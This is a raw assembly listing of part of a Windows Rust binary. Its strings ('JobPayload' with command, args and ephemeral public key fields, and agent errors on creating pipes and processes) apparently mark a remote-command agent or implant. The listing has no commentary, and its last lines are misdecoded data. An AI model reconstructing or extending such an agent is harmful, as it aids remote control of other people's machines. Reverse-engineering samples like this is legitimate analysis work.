movaps xmmword [rsp + 0x460], xmm2
movaps xmmword [rsp + 0x450], xmm1
movaps xmmword [rsp + 0x440], xmm0
test r14, r14
je 0x140047b48
movaps xmm0, xmmword [rsp + 0x440]
movaps xmm1, xmmword [rsp + 0x450]
movaps xmm2, xmmword [rsp + 0x460]
movaps xmm3, xmmword [rsp + 0x470]
lea rbx, [rsp + 0xdc0]
movups xmmword [rbx + 0x40], xmm3
movups xmmword [rbx + 0x30], xmm2
movups xmmword [rbx + 0x20], xmm1
movups xmmword [rbx + 0x10], xmm0
mov qword [rsp + 0xdc0], r14
mov qword [rsp + 0xdc8], rsi
lea rcx, [rsp + 0x1e0]
call fcn.140033ba8
test rax, rax
je 0x140047a85
mov rdi, rax
mov rcx, rbx
call fcn.14003579c
lea r12, [rsp + 0xba0]
lea r13, [rsp + 0x5c0]
lea rbx, [rsp + 0x2b0]
lea rsi, [0x14019c1e8]
lea r14, [rsp + 0xb8]
lea r15, [rsp + 0xaf8]
lea rcx, [rsp + 0x1f8]
call fcn.14003584d
lea rcx, [rsp + 0x378]
mov rdx, rdi
call fcn.140049b55
and qword [rsp + 0x370], 0
lea rcx, [rsp + 0x150]
call fcn.14003584d
lea rdi, [rsp + 0x12f8]
jmp 0x140043a77
movups xmm0, xmmword [rbx + 0x10]
movups xmm1, xmmword [rbx + 0x20]
movups xmm2, xmmword [rbx + 0x30]
movups xmm3, xmmword [rbx + 0x40]
lea rax, [rsp + 0x368]
movups xmmword [rax + 0x48], xmm3
movups xmmword [rax + 0x38], xmm2
movups xmmword [rax + 0x28], xmm1
movups xmmword [rax + 0x18], xmm0
lea rcx, [rsp + 0x1f8]
call fcn.14003584d
lea rax, [rsp + 0xb28]
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x360], xmm0
mov qword [rsp + 0x370], r14
mov qword [rsp + 0x378], rsi
lea rcx, [rsp + 0x150]
call fcn.14003584d
lea rcx, [rsp + 0x2e0]
call fcn.1400355af
lea rcx, [rsp + 0x80]
call fcn.140035b10
lea r14, [rsp + 0xb8]
mov rcx, r14
call fcn.14003584d
lea rdi, [rsp + 0x12f8]
lea r12, [rsp + 0xba0]
lea r13, [rsp + 0x5c0]
lea rbx, [rsp + 0x2b0]
lea rsi, [0x14019c1e8]
lea r15, [rsp + 0xaf8]
jmp 0x140043a99
lea rcx, [rsp + 0x1e0]
mov rdx, rsi
call fcn.140187c90
mov rdi, rax
jmp 0x140047a16
lea rcx, str.commandargsresult_ephemeral_public_keystruct_JobPayload_with_3_elements
push 7
jmp 0x140047c23
lea rcx, str.commandargsresult_ephemeral_public_keystruct_JobPayload_with_3_elements
push 7
pop rdx
call fcn.1401880c8
mov rsi, rax
mov dil, 1
jmp 0x140047898
lea rcx, [0x14019a7d7]
push 4
pop rdx
call fcn.1401880c8
mov rsi, rax
jmp 0x140047bbb
lea rcx, [0x14019a7db]
push 0x1b
pop rdx
call fcn.1401880c8
mov rsi, rax
lea rcx, [rsp + 0x5c0]
call fcn.140035b7e
lea rcx, [rsp + 0x260]
call fcn.14003584d
jmp 0x140047898
mov qword [rsp + 0x5c0], 0x15
mov rcx, rsi
lea rdx, [rsp + 0x5c0]
call fcn.140187c70
mov rsi, rax
jmp 0x140046066
push 1
pop rcx
lea rdx, [0x14019a818]
lea r8, fcn.140001084
call fcn.140188124
jmp 0x140047be9
mov qword [rsp + 0x5c0], 5
jmp 0x14004783c
lea rcx, [0x14019a7d7]
push 4
pop rdx
call fcn.140188197
jmp 0x140047890
push 2
pop rcx
lea rdx, [0x14019a818]
lea r8, fcn.140001084
call fcn.140188124
mov rsi, rax
jmp 0x14004771c
mov qword [rsp + 0x5c0], 5
jmp 0x140047bd9
lea rcx, [0x14019a7db]
push 0x1b
jmp 0x140047c23
mov rcx, qword [rsp + 0x1d8]
xor edx, edx
call fcn.140008c40
jmp 0x140047e47
mov rcx, r13
lea rdx, [rsp + 0xda8]
call fcn.140032d70
lea rcx, [rsp + 0x1210]
mov rdx, r13
call fcn.14004d26c
cmp dword [rsp + 0x1210], 4
jne 0x140047d62
lea r14, [rsp + 0x440]
mov rcx, r14
mov rdx, qword [rsp + 0x5a0]
call fcn.140032d70
mov rcx, r13
mov rdx, r15
mov r8, r14
mov r9, rsi
call fcn.140049cc1
mov rsi, qword [rsp + 0x5c0]
lea rax, [rsp + 0x5e8]
movups xmm0, xmmword [rax - 0x20]
movups xmm1, xmmword [rax - 0x10]
movaps xmmword [rsp + 0x360], xmm0
movaps xmmword [rsp + 0x370], xmm1
test rsi, rsi
je 0x140047eea
mov r8d, 0x1e0
lea r14, [rsp + 0x1780]
mov rcx, r14
lea rdx, [rsp + 0x5e8]
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rsp + 0x12d0]
call fcn.14003582c
mov qword [rsp + 0x12d0], rsi
movaps xmm0, xmmword [rsp + 0x360]
movaps xmm1, xmmword [rsp + 0x370]
movups xmmword [rdi - 0x10], xmm1
movups xmmword [rdi - 0x20], xmm0
mov r8d, 0x1e0
mov rcx, rdi
mov rdx, r14
call sub.VCRUNTIME140.dll_memcpy
jmp 0x140047d8a
movups xmm0, xmmword [rsp + 0x1210]
movups xmm1, xmmword [rsp + 0x1220]
movaps xmmword [rsp + 0x5d0], xmm1
movaps xmmword [rsp + 0x5c0], xmm0
mov rcx, r13
call fcn.140035745
lea rax, [rsp + 0xac8]
mov qword [rsp + 0x360], rax
lea rax, [0x140038bc3]
mov qword [rsp + 0x368], rax
lea rax, [rsp + 0x12e8]
mov qword [rsp + 0x370], rax
lea rax, [fcn.1400cc6da]
mov qword [rsp + 0x378], rax
mov qword [rsp + 0x20], 2
mov rcx, r13
lea rdx, [0x14019cf78]
push 3
pop r8
lea r9, [rsp + 0x360]
call fcn.14003510c
lea rcx, [rsp + 0x1210]
mov rdx, r13
call fcn.140037b3c
mov rcx, rbx
call fcn.14003584d
mov rax, qword [rsp + 0x1220]
mov qword [rsp + 0x2c0], rax
movups xmm0, xmmword [rsp + 0x1210]
movaps xmmword [rsp + 0x2b0], xmm0
mov rcx, qword [rsp + 0x1d8]
xor edx, edx
call fcn.140008c40
lea rcx, [rsp + 0xdc0]
call fcn.140035b27
lea rsi, [0x14019c1e8]
cmp dword [rsp + 0xba0], 3
jne 0x140042291
mov rcx, r12
call fcn.1400352ef
jmp 0x140042291
lea rcx, [rsp + 0xd90]
call fcn.14003584d
lea rcx, [rsp + 0xae0]
call fcn.14003584d
lea rcx, [rsp + 0x2b0]
call fcn.14003584d
lea rcx, [rsp + 0xda8]
call fcn.14003584d
lea rcx, [rsp + 0xac8]
call fcn.14003584d
lea rcx, [rsp + 0x12d0]
call fcn.14003582c
xor esi, esi
jmp 0x140047f73
movups xmm0, xmmword [rsp + 0x5c8]
movups xmm1, xmmword [rsp + 0x5d8]
lea rcx, [rsp + 0xdc0]
movaps xmmword [rcx + 0x10], xmm1
movaps xmmword [rcx], xmm0
call fcn.140034bcf
mov rsi, rax
lea rdi, fcn.140035745
jmp 0x140047f73
lea rcx, [rsp + 0x360]
call fcn.140034bcf
mov rsi, rax
lea rcx, [rsp + 0xdc0]
call fcn.140035b27
cmp dword [rsp + 0xba0], 3
jne 0x140047f1e
lea rcx, [rsp + 0xba0]
call fcn.1400352ef
lea rdi, fcn.140035745
lea rcx, [rsp + 0xd90]
call fcn.14003584d
lea rcx, [rsp + 0xae0]
call fcn.14003584d
lea rcx, [rsp + 0x2b0]
call fcn.14003584d
lea rcx, [rsp + 0xda8]
call fcn.14003584d
lea rcx, [rsp + 0xac8]
call fcn.14003584d
lea rcx, [rsp + 0x12d0]
call fcn.14003582c
mov rcx, qword [rsp + 0x5a0]
call fcn.14003584d
mov rax, rsi
mov rdx, rdi
movaps xmm6, xmmword [rbp + 0x18e0]
movaps xmm7, xmmword [rbp + 0x18f0]
movaps xmm8, xmmword [rbp + 0x1900]
movaps xmm9, xmmword [rbp + 0x1910]
movaps xmm10, xmmword [rbp + 0x1920]
lea rsp, [rbp + 0x1938]
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
push reloc.WS2_32.dll_recv
pop rcx
call fcn.140037d47
mov rsi, rax
movaps xmm0, xmmword [rsp + 0xba0]
movups xmmword [rax], xmm0
lea rdi, fcn.140001084
lea rcx, [rsp + 0xa18]
call fcn.14003579c
lea rcx, [rsp + 0x1288]
call fcn.140035b98
jmp 0x140047f25
lea rcx, str._async_fn__resumed_after_completioninvalid_value:___expected
lea r8, str.C:UsersAdministrator.cargo_registry_src_rsproxy.cn_0dccff568467c15b_reqwest_0.11.22_src_async_impl_response.rs
push 0x23
pop rdx
call fcn.140187340
ud2
lea rcx, str.called__Option::unwrap____on_a__None__value_rustc_c469197b19d53a6c45378568f73c00986b20a5a5library_std_src_threadmod.rs
lea r8, str.src_run.rs_Agent_Error_:_Failed_to_create_pipe__n_Agent_Error_:_Failed_to_create_process__n
jmp 0x1400480bd
mov al, byte [rsp + 0x5c1]
lea r8, [rsp + 0xdc0]
mov byte [r8], al
lea rax, str.src_run.rs_Agent_Error_:_Failed_to_create_pipe__n_Agent_Error_:_Failed_to_create_process__n
mov qword [rsp + 0x20], rax
lea rcx, [0x14019aff8]
lea r9, fcn.140001084
jmp 0x1400480ed
ud2
lea rcx, [rsp + 0x1e0]
call fcn.140035fb9
lea rcx, [rsp + 0x2e0]
call fcn.1400355ed
lea r8, [rsp + 0x5c0]
mov qword [r8], rsi
lea rax, [0x14019abf0]
mov qword [rsp + 0x20], rax
lea rcx, str.failed_to_spawn_thread
lea r9, fcn.1400356a2
push reloc.WS2_32.dll_shutdown
jmp 0x1400480ef
lea rcx, str.called__Option::unwrap____on_a__None__value_rustc_c469197b19d53a6c45378568f73c00986b20a5a5library_std_src_threadmod.rs
lea r8, [0x14019aaf8]
jmp 0x1400480bd
lea rcx, str.called__Option::unwrap____on_a__None__value_rustc_c469197b19d53a6c45378568f73c00986b20a5a5library_std_src_threadmod.rs
lea r8, [0x14019ab10]
push 0x2b
jmp 0x14004800c
lea r8, [rsp + 0x5c0]
mov qword [r8], rdi
mov qword [r8 + 8], rsi
lea rax, str.src_run.rs_Agent_Error_:_Failed_to_create_pipe__n_Agent_Error_:_Failed_to_create_process__n
mov qword [rsp + 0x20], rax
lea rcx, [0x14019aff8]
lea r9, fcn.1400353ba
push 0x2b
pop rdx
call fcn.1401876b0
ud2
lea rax, [0x14019b9f0]
lea rcx, [rsp + 0xdc0]
mov qword [rcx], rax
mov qword [rcx + 8], 1
lea rax, [0x14019ae08]
mov qword [rcx + 0x10], rax
xorps xmm0, xmm0
movups xmmword [rcx + 0x18], xmm0
lea rdx, str.src_run.rs_Agent_Error_:_Failed_to_create_pipe__n_Agent_Error_:_Failed_to_create_process__n
jmp 0x1400481dd
lea rax, [0x14019b9f0]
lea rcx, [rsp + 0x5c0]
mov qword [rcx], rax
mov qword [rcx + 8], 1
lea rax, [0x14019ae08]
mov qword [rcx + 0x10], rax
xorps xmm0, xmm0
movups xmmword [rcx + 0x18], xmm0
lea rdx, [0x14019ba80]
jmp 0x1400481dd
lea rax, [0x14019bca8]
lea rcx, [rsp + 0x440]
jmp 0x1400481b9
lea rax, [0x14019b9f0]
lea rcx, [rsp + 0xdc0]
mov qword [rcx], rax
add dword [rax - 0x39], ecx
or byte [r9], al
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0x152c72
lea rax, [0x14019bca8]
lea rcx, [rsp + 0x1e0]
mov qword [rcx], rax
mov qword [rcx + 8], 1
lea rax, [0x14019ae08]
mov qword [rcx + 0x10], rax
xorps xmm0, xmm0
movups xmmword [rcx + 0x18], xmm0
lea rdx, [0x14019bb48]